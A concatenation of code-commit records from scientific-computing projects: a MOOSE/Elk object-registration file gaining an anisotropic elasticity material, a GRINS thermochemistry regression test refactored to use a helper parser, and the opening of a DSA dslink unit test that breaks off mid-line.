\"InternalVolume.h\"\n#include \"InternalVolumeRZ.h\"\n#include \"NeumannRZ.h\"\n\n\/\/ heat_conduction\n#include \"HeatConduction.h\"\n#include \"HeatConductionRZ.h\"\n#include \"HeatConductionImplicitEuler.h\"\n#include \"HeatConductionImplicitEulerRZ.h\"\n#include \"HeatConductionMaterial.h\"\n\n\/\/ navier_stokes\n#include \"MassInviscidFlux.h\"\n#include \"MomentumInviscidFlux.h\"\n#include \"MomentumViscousFlux.h\"\n#include \"EnergyInviscidFlux.h\"\n#include \"EnergyViscousFlux.h\"\n#include \"GravityPower.h\"\n#include \"GravityForce.h\"\n#include \"PressureNeumannBC.h\"\n#include \"ThermalBC.h\"\n#include \"VelocityAux.h\"\n\n\/\/ linear_elasticity\n#include \"SolidMechX.h\"\n#include \"SolidMechY.h\"\n#include \"SolidMechZ.h\"\n#include \"SolidMechImplicitEuler.h\"\n#include \"SolidMechTempCoupleX.h\"\n#include \"SolidMechTempCoupleY.h\"\n#include \"SolidMechTempCoupleZ.h\"\n\n\/\/ solid_mechanics\n#include \"CLSHPlasticMaterial.h\"\n#include \"Elastic.h\"\n#include \"Gravity.h\"\n#include \"GravityRZ.h\"\n#include \"LinearIsotropicMaterial.h\"\n#include \"LinearStrainHardening.h\"\n#include \"LSHPlasticMaterial.h\"\n#include \"LSHPlasticMaterialRZ.h\"\n#include \"MaterialTensorAux.h\"\n#include \"PLC_LSH.h\"\n#include \"PowerLawCreepMaterial.h\"\n#include \"PowerLawCreep.h\"\n#include \"PlenumPressure.h\"\n#include \"PlenumPressureRZ.h\"\n#include \"Pressure.h\"\n#include \"PressureRZ.h\"\n#include \"PLSHPlasticMaterial.h\"\n#include \"ElasticEnergyAux.h\"\n#include \"StressDivergence.h\"\n#include \"StressDivergenceRZ.h\"\n\n\n\/\/ phase_field\n#include \"AC.h\"\n#include \"ACBulk.h\"\n#include \"ACInterface.h\"\n#include \"CHBulk.h\"\n#include \"CHSplit1.h\"\n#include \"CHSplit2LaPl.h\"\n#include \"CHSplit2ChemPot.h\"\n#include \"CHInterface.h\"\n#include \"CrossIC.h\"\n#include \"SmoothCircleIC.h\"\n#include \"RndSmoothCircleIC.h\"\n#include \"RndBoundingBoxIC.h\"\n\n\/\/ contact\n#include \"ContactMaster.h\"\n#include \"SlaveConstraint.h\"\n\nvoid\nElk::registerObjects()\n{\n \/\/ misc\n registerKernel(BodyForceRZ);\n registerKernel(CoefDiffusion);\n registerKernel(Convection);\n registerPostprocessor(InternalVolume);\n registerPostprocessor(InternalVolumeRZ);\n registerBoundaryCondition(NeumannRZ);\n\n \/\/ heat_conduction\n registerKernel(HeatConduction);\n registerKernel(HeatConductionRZ);\n registerKernel(HeatConductionImplicitEuler);\n registerKernel(HeatConductionImplicitEulerRZ);\n registerNamedMaterial(HeatConductionMaterial, \"HeatConduction\");\n\n \/\/ navier_stokes\n registerKernel(MassInviscidFlux);\n registerKernel(MomentumInviscidFlux);\n registerKernel(MomentumViscousFlux);\n registerKernel(EnergyInviscidFlux);\n registerKernel(EnergyViscousFlux);\n registerKernel(GravityPower);\n registerKernel(GravityForce);\n registerBoundaryCondition(PressureNeumannBC);\n registerBoundaryCondition(ThermalBC);\n registerAux(VelocityAux);\n\n \/\/ linear_elasticity\n registerKernel(SolidMechX);\n registerKernel(SolidMechY);\n registerKernel(SolidMechZ);\n registerKernel(SolidMechImplicitEuler);\n registerKernel(SolidMechTempCoupleX);\n registerKernel(SolidMechTempCoupleY);\n registerKernel(SolidMechTempCoupleZ);\n\n \/\/ solid_mechanics\n registerMaterial(CLSHPlasticMaterial);\n registerMaterial(Elastic);\n registerKernel(Gravity);\n registerKernel(GravityRZ);\n registerNamedMaterial(LinearIsotropicMaterial, \"LinearIsotropic\");\n registerNamedMaterial(LinearIsotropicMaterialRZ, \"LinearIsotropicRZ\");\n registerMaterial(LinearStrainHardening);\n registerMaterial(LSHPlasticMaterial);\n registerMaterial(LSHPlasticMaterialRZ);\n registerAux(MaterialTensorAux);\n registerMaterial(PLC_LSH);\n registerMaterial(PLSHPlasticMaterial);\n registerMaterial(PowerLawCreepMaterial);\n registerMaterial(PowerLawCreep);\n registerBoundaryCondition(PlenumPressure);\n registerBoundaryCondition(PlenumPressureRZ);\n registerBoundaryCondition(Pressure);\n registerBoundaryCondition(PressureRZ);\n registerAux(ElasticEnergyAux);\n registerKernel(StressDivergence);\n registerKernel(StressDivergenceRZ);\n\n \/\/ phase_field\n registerKernel(AC);\n registerKernel(ACBulk);\n registerKernel(ACInterface);\n registerKernel(CHBulk);\n registerKernel(CHSplit1);\n registerKernel(CHSplit2LaPl);\n registerKernel(CHSplit2ChemPot);\n registerKernel(CHInterface);\n registerInitialCondition(CrossIC);\n registerInitialCondition(SmoothCircleIC);\n registerInitialCondition(RndSmoothCircleIC);\n registerInitialCondition(RndBoundingBoxIC);\n\n \/\/ contact\n registerDiracKernel(ContactMaster);\n registerDiracKernel(SlaveConstraint);\n}\n<commit_msg>New test for anisotropic elasticity<commit_after>#include \"Elk.h\"\n#include \"MooseFactory.h\"\n\n\/\/ misc\n#include \"BodyForceRZ.h\"\n#include \"CoefDiffusion.h\"\n#include \"Convection.h\"\n#include \"InternalVolume.h\"\n#include \"InternalVolumeRZ.h\"\n#include \"NeumannRZ.h\"\n\n\/\/ heat_conduction\n#include \"HeatConduction.h\"\n#include \"HeatConductionRZ.h\"\n#include \"HeatConductionImplicitEuler.h\"\n#include \"HeatConductionImplicitEulerRZ.h\"\n#include \"HeatConductionMaterial.h\"\n\n\/\/ navier_stokes\n#include \"MassInviscidFlux.h\"\n#include \"MomentumInviscidFlux.h\"\n#include \"MomentumViscousFlux.h\"\n#include \"EnergyInviscidFlux.h\"\n#include \"EnergyViscousFlux.h\"\n#include \"GravityPower.h\"\n#include \"GravityForce.h\"\n#include \"PressureNeumannBC.h\"\n#include \"ThermalBC.h\"\n#include \"VelocityAux.h\"\n\n\/\/ linear_elasticity\n#include \"SolidMechX.h\"\n#include \"SolidMechY.h\"\n#include \"SolidMechZ.h\"\n#include \"SolidMechImplicitEuler.h\"\n#include \"SolidMechTempCoupleX.h\"\n#include \"SolidMechTempCoupleY.h\"\n#include \"SolidMechTempCoupleZ.h\"\n\n\/\/ solid_mechanics\n#include \"CLSHPlasticMaterial.h\"\n#include \"Elastic.h\"\n#include \"Gravity.h\"\n#include \"GravityRZ.h\"\n#include \"LinearAnisotropicMaterial.h\"\n#include \"LinearIsotropicMaterial.h\"\n#include \"LinearIsotropicMaterialRZ.h\"\n#include \"LinearStrainHardening.h\"\n#include \"LSHPlasticMaterial.h\"\n#include \"LSHPlasticMaterialRZ.h\"\n#include \"MaterialTensorAux.h\"\n#include \"PLC_LSH.h\"\n#include \"PowerLawCreepMaterial.h\"\n#include \"PowerLawCreep.h\"\n#include \"PlenumPressure.h\"\n#include \"PlenumPressureRZ.h\"\n#include \"Pressure.h\"\n#include \"PressureRZ.h\"\n#include \"PLSHPlasticMaterial.h\"\n#include \"ElasticEnergyAux.h\"\n#include \"StressDivergence.h\"\n#include \"StressDivergenceRZ.h\"\n\n\n\/\/ phase_field\n#include \"AC.h\"\n#include \"ACBulk.h\"\n#include \"ACInterface.h\"\n#include \"CHBulk.h\"\n#include \"CHSplit1.h\"\n#include \"CHSplit2LaPl.h\"\n#include \"CHSplit2ChemPot.h\"\n#include \"CHInterface.h\"\n#include \"CrossIC.h\"\n#include \"SmoothCircleIC.h\"\n#include \"RndSmoothCircleIC.h\"\n#include \"RndBoundingBoxIC.h\"\n\n\/\/ contact\n#include \"ContactMaster.h\"\n#include \"SlaveConstraint.h\"\n\nvoid\nElk::registerObjects()\n{\n \/\/ misc\n registerKernel(BodyForceRZ);\n registerKernel(CoefDiffusion);\n registerKernel(Convection);\n registerPostprocessor(InternalVolume);\n registerPostprocessor(InternalVolumeRZ);\n registerBoundaryCondition(NeumannRZ);\n\n \/\/ heat_conduction\n registerKernel(HeatConduction);\n registerKernel(HeatConductionRZ);\n registerKernel(HeatConductionImplicitEuler);\n registerKernel(HeatConductionImplicitEulerRZ);\n registerNamedMaterial(HeatConductionMaterial, \"HeatConduction\");\n\n \/\/ navier_stokes\n registerKernel(MassInviscidFlux);\n registerKernel(MomentumInviscidFlux);\n registerKernel(MomentumViscousFlux);\n registerKernel(EnergyInviscidFlux);\n registerKernel(EnergyViscousFlux);\n registerKernel(GravityPower);\n registerKernel(GravityForce);\n registerBoundaryCondition(PressureNeumannBC);\n registerBoundaryCondition(ThermalBC);\n registerAux(VelocityAux);\n\n \/\/ linear_elasticity\n registerKernel(SolidMechX);\n registerKernel(SolidMechY);\n registerKernel(SolidMechZ);\n registerKernel(SolidMechImplicitEuler);\n registerKernel(SolidMechTempCoupleX);\n registerKernel(SolidMechTempCoupleY);\n registerKernel(SolidMechTempCoupleZ);\n\n \/\/ solid_mechanics\n registerMaterial(CLSHPlasticMaterial);\n registerMaterial(Elastic);\n registerKernel(Gravity);\n registerKernel(GravityRZ);\n registerNamedMaterial(LinearAnisotropicMaterial, \"LinearAnisotropic\");\n registerNamedMaterial(LinearIsotropicMaterial, \"LinearIsotropic\");\n registerNamedMaterial(LinearIsotropicMaterialRZ, \"LinearIsotropicRZ\");\n registerMaterial(LinearStrainHardening);\n registerMaterial(LSHPlasticMaterial);\n registerMaterial(LSHPlasticMaterialRZ);\n registerAux(MaterialTensorAux);\n registerMaterial(PLC_LSH);\n registerMaterial(PLSHPlasticMaterial);\n registerMaterial(PowerLawCreepMaterial);\n registerMaterial(PowerLawCreep);\n registerBoundaryCondition(PlenumPressure);\n registerBoundaryCondition(PlenumPressureRZ);\n registerBoundaryCondition(Pressure);\n registerBoundaryCondition(PressureRZ);\n registerAux(ElasticEnergyAux);\n registerKernel(StressDivergence);\n registerKernel(StressDivergenceRZ);\n\n \/\/ phase_field\n registerKernel(AC);\n registerKernel(ACBulk);\n registerKernel(ACInterface);\n registerKernel(CHBulk);\n registerKernel(CHSplit1);\n registerKernel(CHSplit2LaPl);\n registerKernel(CHSplit2ChemPot);\n registerKernel(CHInterface);\n registerInitialCondition(CrossIC);\n registerInitialCondition(SmoothCircleIC);\n registerInitialCondition(RndSmoothCircleIC);\n registerInitialCondition(RndBoundingBoxIC);\n\n \/\/ contact\n registerDiracKernel(ContactMaster);\n registerDiracKernel(SlaveConstraint);\n}\n<|endoftext|>"} {"text":"<commit_before>\/\/-----------------------------------------------------------------------bl-\n\/\/--------------------------------------------------------------------------\n\/\/\n\/\/ GRINS - General Reacting Incompressible Navier-Stokes\n\/\/\n\/\/ Copyright (C) 2014-2015 Paul T. Bauman, Roy H. Stogner\n\/\/ Copyright (C) 2010-2013 The PECOS Development Team\n\/\/\n\/\/ This library is free software; you can redistribute it and\/or\n\/\/ modify it under the terms of the Version 2.1 GNU Lesser General\n\/\/ Public License as published by the Free Software Foundation.\n\/\/\n\/\/ This library is distributed in the hope that it will be useful,\n\/\/ but WITHOUT ANY WARRANTY; without even the implied warranty of\n\/\/ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n\/\/ Lesser General Public License for more details.\n\/\/\n\/\/ You should have received a copy of the GNU Lesser General Public\n\/\/ License along with this library; if not, write to the Free Software\n\/\/ Foundation, Inc. 51 Franklin Street, Fifth Floor,\n\/\/ Boston, MA 02110-1301 USA\n\/\/\n\/\/-----------------------------------------------------------------------el-\n\n#include \"grins_config.h\"\n\n#include <iostream>\n\n\/\/ GRINS\n#include \"grins\/simulation.h\"\n#include \"grins\/simulation_builder.h\"\n\n\/\/ GRVY\n#ifdef HAVE_GRVY\n#include \"grvy.h\"\n#endif\n\n\/\/ libMesh\n#include \"libmesh\/parallel.h\"\n#include \"libmesh\/exact_solution.h\"\n\n\/\/ Function for getting initial temperature field\nlibMesh::Real\ninitial_values( const libMesh::Point& p, const libMesh::Parameters ¶ms, \n\t\tconst std::string& system_name, const std::string& unknown_name );\n\nint run( int argc, char* argv[], const GetPot& input );\n\nint main(int argc, char* argv[])\n{\n#ifdef USE_GRVY_TIMERS\n GRVY::GRVY_Timer_Class grvy_timer;\n grvy_timer.Init(\"GRINS Timer\");\n#endif\n\n \/\/ Check command line count.\n if( argc < 3 )\n {\n \/\/ TODO: Need more consistent error handling.\n std::cerr << \"Error: Must specify libMesh input file and exact solution file.\" << std::endl;\n exit(1); \/\/ TODO: something more sophisticated for parallel runs?\n }\n\n \/\/ libMesh input file should be first argument\n std::string libMesh_input_filename = argv[1];\n \n \/\/ Create our GetPot object.\n GetPot libMesh_inputfile( libMesh_input_filename );\n\n int return_flag = 0;\n\n std::string chem_lib = libMesh_inputfile(\"Physics\/ReactingLowMachNavierStokes\/thermochemistry_library\", \"DIE!\");\n\n if( chem_lib == std::string(\"cantera\") )\n {\n#ifdef GRINS_HAVE_CANTERA\n return_flag = run(argc,argv,libMesh_inputfile);\n#else\n return_flag = 77;\n#endif\n }\n else if( chem_lib == std::string(\"antioch\") )\n {\n#ifdef GRINS_HAVE_ANTIOCH\n return_flag = run(argc,argv,libMesh_inputfile);\n#else\n return_flag = 77;\n#endif\n }\n else\n {\n return_flag = 1;\n }\n\n return return_flag;\n}\n\nint run( int argc, char* argv[], const GetPot& input )\n{\n#ifdef USE_GRVY_TIMERS\n grvy_timer.BeginTimer(\"Initialize Solver\");\n#endif\n\n \/\/ Initialize libMesh library.\n libMesh::LibMeshInit libmesh_init(argc, argv);\n \n GRINS::SimulationBuilder sim_builder;\n\n GRINS::Simulation grins( input,\n\t\t\t sim_builder,\n libmesh_init.comm() );\n\n \/\/FIXME: We need to move this to within the Simulation object somehow...\n std::string restart_file = input( \"restart-options\/restart_file\", \"none\" );\n\n if( restart_file == \"none\" )\n {\n \/\/ Asssign initial temperature value\n std::string system_name = input( \"screen-options\/system_name\", \"GRINS\" );\n GRINS::SharedPtr<libMesh::EquationSystems> es = grins.get_equation_system();\n const libMesh::System& system = es->get_system(system_name);\n \n libMesh::Parameters ¶ms = es->parameters;\n\n libMesh::Real& w_N2 = params.set<libMesh::Real>( \"w_N2\" );\n w_N2 = input( \"Physics\/ReactingLowMachNavierStokes\/bound_species_3\", 0.0, 0 );\n \n libMesh::Real& w_N = params.set<libMesh::Real>( \"w_N\" );\n w_N = input( \"Physics\/ReactingLowMachNavierStokes\/bound_species_3\", 0.0, 1 );\n\n system.project_solution( initial_values, NULL, params );\n }\n\n#ifdef USE_GRVY_TIMERS\n grvy_timer.EndTimer(\"Initialize Solver\");\n\n \/\/ Attach GRVY timer to solver\n grins.attach_grvy_timer( &grvy_timer );\n#endif\n\n grins.run();\n\n#ifdef USE_GRVY_TIMERS\n grvy_timer.Finalize();\n \n if( Parallel::Communicator_World.rank() == 0 ) grvy_timer.Summarize();\n#endif\n\n \/\/ Get equation systems to create ExactSolution object\n GRINS::SharedPtr<libMesh::EquationSystems>\n es = grins.get_equation_system();\n\n \/\/es->write(\"foobar.xdr\");\n\n \/\/ Create Exact solution object and attach exact solution quantities\n libMesh::ExactSolution exact_sol(*es);\n \n libMesh::EquationSystems es_ref( es->get_mesh() );\n\n \/\/ Filename of file where comparison solution is stashed\n std::string solution_file = std::string(argv[2]);\n es_ref.read( solution_file );\n\n exact_sol.attach_reference_solution( &es_ref );\n \n \/\/ Compute error and get it in various norms\n exact_sol.compute_error(\"GRINS\", \"u\");\n exact_sol.compute_error(\"GRINS\", \"v\");\n\n if( (es->get_mesh()).mesh_dimension() == 3 )\n exact_sol.compute_error(\"GRINS\", \"w\");\n\n exact_sol.compute_error(\"GRINS\", \"p\");\n exact_sol.compute_error(\"GRINS\", \"T\");\n exact_sol.compute_error(\"GRINS\", \"w_N2\");\n exact_sol.compute_error(\"GRINS\", \"w_N\");\n\n double u_l2error = exact_sol.l2_error(\"GRINS\", \"u\");\n double u_h1error = exact_sol.h1_error(\"GRINS\", \"u\");\n\n double v_l2error = exact_sol.l2_error(\"GRINS\", \"v\");\n double v_h1error = exact_sol.h1_error(\"GRINS\", \"v\");\n\n double p_l2error = exact_sol.l2_error(\"GRINS\", \"p\");\n double p_h1error = exact_sol.h1_error(\"GRINS\", \"p\");\n\n double T_l2error = exact_sol.l2_error(\"GRINS\", \"T\");\n double T_h1error = exact_sol.h1_error(\"GRINS\", \"T\");\n\n double wN_l2error = exact_sol.l2_error(\"GRINS\", \"w_N\");\n double wN_h1error = exact_sol.h1_error(\"GRINS\", \"w_N\");\n\n double wN2_l2error = exact_sol.l2_error(\"GRINS\", \"w_N2\");\n double wN2_h1error = exact_sol.h1_error(\"GRINS\", \"w_N2\");\n \n double w_l2error = 0.0, \n w_h1error = 0.0;\n\n if( (es->get_mesh()).mesh_dimension() == 3 )\n {\n w_l2error = exact_sol.l2_error(\"GRINS\", \"w\");\n w_h1error = exact_sol.h1_error(\"GRINS\", \"w\");\n }\n\n int return_flag = 0;\n\n double tol = 1.5e-8;\n \n if( u_l2error > tol || u_h1error > tol ||\n v_l2error > tol || v_h1error > tol ||\n w_l2error > tol || w_h1error > tol ||\n p_l2error > tol || p_h1error > tol ||\n T_l2error > tol || T_h1error > tol ||\n wN_l2error > tol || wN_h1error > tol ||\n wN2_l2error > tol || wN2_h1error > tol )\n {\n return_flag = 1;\n\n std::cout << \"Tolerance exceeded for thermally driven flow test.\" << std::endl\n\t\t<< \"tolerance = \" << tol << std::endl\n\t\t<< \"u l2 error = \" << u_l2error << std::endl\n\t\t<< \"u h1 error = \" << u_h1error << std::endl\n\t\t<< \"v l2 error = \" << v_l2error << std::endl\n\t\t<< \"v h1 error = \" << v_h1error << std::endl\n\t\t<< \"w l2 error = \" << w_l2error << std::endl\n\t\t<< \"w h1 error = \" << w_h1error << std::endl\n\t\t<< \"p l2 error = \" << p_l2error << std::endl\n\t\t<< \"p h1 error = \" << p_h1error << std::endl\n\t\t<< \"T l2 error = \" << T_l2error << std::endl\n\t\t<< \"T h1 error = \" << T_h1error << std::endl\n\t\t<< \"w_N l2 error = \" << wN_l2error << std::endl\n\t\t<< \"w_N h1 error = \" << wN_h1error << std::endl\n\t\t<< \"w_N2 l2 error = \" << wN2_l2error << std::endl\n\t\t<< \"w_N2 h1 error = \" << wN2_h1error << std::endl;\n }\n\n return return_flag;\n}\n\nlibMesh::Real\ninitial_values( const libMesh::Point& p, const libMesh::Parameters ¶ms, \n\t\tconst std::string& , const std::string& unknown_name )\n{\n libMesh::Real value = 0.0;\n\n if( unknown_name == \"w_N2\" )\n value = params.get<libMesh::Real>(\"w_N2\");\n\n else if( unknown_name == \"w_N\" )\n value = params.get<libMesh::Real>(\"w_N\");\n\n else if( unknown_name == \"T\" )\n value = 300;\n\n else if( unknown_name == \"u\" )\n {\n const libMesh::Real y = p(1);\n value = 1.0*(-y*y+1);\n }\n\n else\n value = 0.0;\n\n return value;\n}\n<commit_msg>Use PhysicsFactoryHelper::parse_thermochemistry_model in test<commit_after>\/\/-----------------------------------------------------------------------bl-\n\/\/--------------------------------------------------------------------------\n\/\/\n\/\/ GRINS - General Reacting Incompressible Navier-Stokes\n\/\/\n\/\/ Copyright (C) 2014-2015 Paul T. Bauman, Roy H. Stogner\n\/\/ Copyright (C) 2010-2013 The PECOS Development Team\n\/\/\n\/\/ This library is free software; you can redistribute it and\/or\n\/\/ modify it under the terms of the Version 2.1 GNU Lesser General\n\/\/ Public License as published by the Free Software Foundation.\n\/\/\n\/\/ This library is distributed in the hope that it will be useful,\n\/\/ but WITHOUT ANY WARRANTY; without even the implied warranty of\n\/\/ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n\/\/ Lesser General Public License for more details.\n\/\/\n\/\/ You should have received a copy of the GNU Lesser General Public\n\/\/ License along with this library; if not, write to the Free Software\n\/\/ Foundation, Inc. 51 Franklin Street, Fifth Floor,\n\/\/ Boston, MA 02110-1301 USA\n\/\/\n\/\/-----------------------------------------------------------------------el-\n\n#include \"grins_config.h\"\n\n#include <iostream>\n\n\/\/ GRINS\n#include \"grins\/simulation.h\"\n#include \"grins\/simulation_builder.h\"\n#include \"grins\/physics_factory_helper.h\"\n\n\/\/ GRVY\n#ifdef HAVE_GRVY\n#include \"grvy.h\"\n#endif\n\n\/\/ libMesh\n#include \"libmesh\/parallel.h\"\n#include \"libmesh\/exact_solution.h\"\n\n\/\/ Function for getting initial temperature field\nlibMesh::Real\ninitial_values( const libMesh::Point& p, const libMesh::Parameters ¶ms, \n\t\tconst std::string& system_name, const std::string& unknown_name );\n\nint run( int argc, char* argv[], const GetPot& input );\n\nint main(int argc, char* argv[])\n{\n#ifdef USE_GRVY_TIMERS\n GRVY::GRVY_Timer_Class grvy_timer;\n grvy_timer.Init(\"GRINS Timer\");\n#endif\n\n \/\/ Check command line count.\n if( argc < 3 )\n {\n \/\/ TODO: Need more consistent error handling.\n std::cerr << \"Error: Must specify libMesh input file and exact solution file.\" << std::endl;\n exit(1); \/\/ TODO: something more sophisticated for parallel runs?\n }\n\n \/\/ libMesh input file should be first argument\n std::string libMesh_input_filename = argv[1];\n\n \/\/ Create our GetPot object.\n GetPot libMesh_inputfile( libMesh_input_filename );\n\n int return_flag = 0;\n\n std::string chem_lib;\n GRINS::PhysicsFactoryHelper::parse_thermochemistry_model( libMesh_inputfile,\n GRINS::reacting_low_mach_navier_stokes,\n chem_lib );\n\n if( chem_lib == std::string(\"cantera\") )\n {\n#ifdef GRINS_HAVE_CANTERA\n return_flag = run(argc,argv,libMesh_inputfile);\n#else\n return_flag = 77;\n#endif\n }\n else if( chem_lib == std::string(\"antioch\") )\n {\n#ifdef GRINS_HAVE_ANTIOCH\n return_flag = run(argc,argv,libMesh_inputfile);\n#else\n return_flag = 77;\n#endif\n }\n else\n {\n std::cerr << \"ERROR: Invalid thermochemistry library!\" << std::endl;\n return_flag = 1;\n }\n\n return return_flag;\n}\n\nint run( int argc, char* argv[], const GetPot& input )\n{\n#ifdef USE_GRVY_TIMERS\n grvy_timer.BeginTimer(\"Initialize Solver\");\n#endif\n\n \/\/ Initialize libMesh library.\n libMesh::LibMeshInit libmesh_init(argc, argv);\n \n GRINS::SimulationBuilder sim_builder;\n\n GRINS::Simulation grins( input,\n\t\t\t sim_builder,\n libmesh_init.comm() );\n\n \/\/FIXME: We need to move this to within the Simulation object somehow...\n std::string restart_file = input( \"restart-options\/restart_file\", \"none\" );\n\n if( restart_file == \"none\" )\n {\n \/\/ Asssign initial temperature value\n std::string system_name = input( \"screen-options\/system_name\", \"GRINS\" );\n GRINS::SharedPtr<libMesh::EquationSystems> es = grins.get_equation_system();\n const libMesh::System& system = es->get_system(system_name);\n \n libMesh::Parameters ¶ms = es->parameters;\n\n libMesh::Real& w_N2 = params.set<libMesh::Real>( \"w_N2\" );\n w_N2 = input( \"Physics\/ReactingLowMachNavierStokes\/bound_species_3\", 0.0, 0 );\n \n libMesh::Real& w_N = params.set<libMesh::Real>( \"w_N\" );\n w_N = input( \"Physics\/ReactingLowMachNavierStokes\/bound_species_3\", 0.0, 1 );\n\n system.project_solution( initial_values, NULL, params );\n }\n\n#ifdef USE_GRVY_TIMERS\n grvy_timer.EndTimer(\"Initialize Solver\");\n\n \/\/ Attach GRVY timer to solver\n grins.attach_grvy_timer( &grvy_timer );\n#endif\n\n grins.run();\n\n#ifdef USE_GRVY_TIMERS\n grvy_timer.Finalize();\n \n if( Parallel::Communicator_World.rank() == 0 ) grvy_timer.Summarize();\n#endif\n\n \/\/ Get equation systems to create ExactSolution object\n GRINS::SharedPtr<libMesh::EquationSystems>\n es = grins.get_equation_system();\n\n \/\/es->write(\"foobar.xdr\");\n\n \/\/ Create Exact solution object and attach exact solution quantities\n libMesh::ExactSolution exact_sol(*es);\n \n libMesh::EquationSystems es_ref( es->get_mesh() );\n\n \/\/ Filename of file where comparison solution is stashed\n std::string solution_file = std::string(argv[2]);\n es_ref.read( solution_file );\n\n exact_sol.attach_reference_solution( &es_ref );\n \n \/\/ Compute error and get it in various norms\n exact_sol.compute_error(\"GRINS\", \"u\");\n exact_sol.compute_error(\"GRINS\", \"v\");\n\n if( (es->get_mesh()).mesh_dimension() == 3 )\n exact_sol.compute_error(\"GRINS\", \"w\");\n\n exact_sol.compute_error(\"GRINS\", \"p\");\n exact_sol.compute_error(\"GRINS\", \"T\");\n exact_sol.compute_error(\"GRINS\", \"w_N2\");\n exact_sol.compute_error(\"GRINS\", \"w_N\");\n\n double u_l2error = exact_sol.l2_error(\"GRINS\", \"u\");\n double u_h1error = exact_sol.h1_error(\"GRINS\", \"u\");\n\n double v_l2error = exact_sol.l2_error(\"GRINS\", \"v\");\n double v_h1error = exact_sol.h1_error(\"GRINS\", \"v\");\n\n double p_l2error = exact_sol.l2_error(\"GRINS\", \"p\");\n double p_h1error = exact_sol.h1_error(\"GRINS\", \"p\");\n\n double T_l2error = exact_sol.l2_error(\"GRINS\", \"T\");\n double T_h1error = exact_sol.h1_error(\"GRINS\", \"T\");\n\n double wN_l2error = exact_sol.l2_error(\"GRINS\", \"w_N\");\n double wN_h1error = exact_sol.h1_error(\"GRINS\", \"w_N\");\n\n double wN2_l2error = exact_sol.l2_error(\"GRINS\", \"w_N2\");\n double wN2_h1error = exact_sol.h1_error(\"GRINS\", \"w_N2\");\n \n double w_l2error = 0.0, \n w_h1error = 0.0;\n\n if( (es->get_mesh()).mesh_dimension() == 3 )\n {\n w_l2error = exact_sol.l2_error(\"GRINS\", \"w\");\n w_h1error = exact_sol.h1_error(\"GRINS\", \"w\");\n }\n\n int return_flag = 0;\n\n double tol = 1.5e-8;\n \n if( u_l2error > tol || u_h1error > tol ||\n v_l2error > tol || v_h1error > tol ||\n w_l2error > tol || w_h1error > tol ||\n p_l2error > tol || p_h1error > tol ||\n T_l2error > tol || T_h1error > tol ||\n wN_l2error > tol || wN_h1error > tol ||\n wN2_l2error > tol || wN2_h1error > tol )\n {\n return_flag = 1;\n\n std::cout << \"Tolerance exceeded for thermally driven flow test.\" << std::endl\n\t\t<< \"tolerance = \" << tol << std::endl\n\t\t<< \"u l2 error = \" << u_l2error << std::endl\n\t\t<< \"u h1 error = \" << u_h1error << std::endl\n\t\t<< \"v l2 error = \" << v_l2error << std::endl\n\t\t<< \"v h1 error = \" << v_h1error << std::endl\n\t\t<< \"w l2 error = \" << w_l2error << std::endl\n\t\t<< \"w h1 error = \" << w_h1error << std::endl\n\t\t<< \"p l2 error = \" << p_l2error << std::endl\n\t\t<< \"p h1 error = \" << p_h1error << std::endl\n\t\t<< \"T l2 error = \" << T_l2error << std::endl\n\t\t<< \"T h1 error = \" << T_h1error << std::endl\n\t\t<< \"w_N l2 error = \" << wN_l2error << std::endl\n\t\t<< \"w_N h1 error = \" << wN_h1error << std::endl\n\t\t<< \"w_N2 l2 error = \" << wN2_l2error << std::endl\n\t\t<< \"w_N2 h1 error = \" << wN2_h1error << std::endl;\n }\n\n return return_flag;\n}\n\nlibMesh::Real\ninitial_values( const libMesh::Point& p, const libMesh::Parameters ¶ms, \n\t\tconst std::string& , const std::string& unknown_name )\n{\n libMesh::Real value = 0.0;\n\n if( unknown_name == \"w_N2\" )\n value = params.get<libMesh::Real>(\"w_N2\");\n\n else if( unknown_name == \"w_N\" )\n value = params.get<libMesh::Real>(\"w_N\");\n\n else if( unknown_name == \"T\" )\n value = 300;\n\n else if( unknown_name == \"u\" )\n {\n const libMesh::Real y = p(1);\n value = 1.0*(-y*y+1);\n }\n\n else\n value = 0.0;\n\n return value;\n}\n<|endoftext|>"} {"text":"<commit_before>#include \"dsa\/crypto.h\"\n#include \"dsa\/responder.h\"\n\n#include <gtest\/gtest.h>\n#include <boost\/filesystem\/operations.hpp>\n#include <boost\/format.hpp>\n#include <thread>\n#include \"..\/test_config.h\"\n#include \"dslink.h\"\n#include \"module\/default\/console_logger.h\"\n#include \"module\/logger.h\"\n#include \"util\/string.h\"\n\n#include \"..\/async_test.h\"\n#include \"dsa\/stream.h\"\n\n#include \"message\/request\/invoke_request_message.h\"\n\nusing boost::format;\n\nusing namespace dsa;\nusing namespace std;\n\nusing DslinkTest = SetUpBase;\nclass MockNodeChild : public NodeModel {\n public:\n explicit MockNodeChild(LinkStrandRef strand, Var v)\n : NodeModel(std::move(strand)) {\n update_property(\"$is\", Var(v));\n };\n bool save_child(const string_ &name) const override { return true; };\n};\n\nclass MockNodeMain : public NodeModel {\n public:\n explicit MockNodeMain(LinkStrandRef strand) : NodeModel(std::move(strand)){};\n\n bool save_child(const string_ &name) const override {\n if (name == \"Add_Child\")\n return false;\n else\n return true;\n };\n\n void on_load_child(const string_ &name, VarMap &map) override {\n add_list_child(\n name, make_ref_<MockNodeChild>(this->_strand->get_ref(), Var(name)));\n };\n};\n\nTEST_F(DslinkTest, SaveMainNode) {\n shared_ptr<App> app = make_shared<App>();\n\n const char *argv[] = {\".\/testResp\", \"--broker\", \"ds:\/\/127.0.0.1:4121\",\n \"-l\", \"info\", \"--thread\",\n \"4\", \"--server-port\", \"4121\"};\n int argc = 9;\n auto link = make_ref_<DsLink>(argc, argv, \"mydslink\", \"1.0.0\", app);\n \/\/ filter log for unit test\n static_cast<ConsoleLogger &>(Logger::_()).filter =\n Logger::FATAL_ | Logger::ERROR_ | Logger::WARN__;\n\n ref_<MockNodeMain> main_node =\n make_ref_<MockNodeMain>(link->strand->get_ref());\n main_node->add_list_child(\n \"Add_Child\",\n make_ref_<SimpleInvokeNode>(\n link->strand->get_ref(),\n [&](Var &&v, SimpleInvokeNode &node, OutgoingInvokeStream &stream,\n ref_<NodeState> &&parent) {\n\n auto *parent_model = parent->model_cast<NodeModel>();\n \/\/ add new child node\n parent_model->add_list_child(\n v.to_string(),\n make_ref_<MockNodeChild>(link->strand->get_ref(), v));\n\n stream.close();\n }));\n\n link->init_responder(main_node);\n bool invoked = false;\n bool invoked2 = false;\n ref_<IncomingListCache> 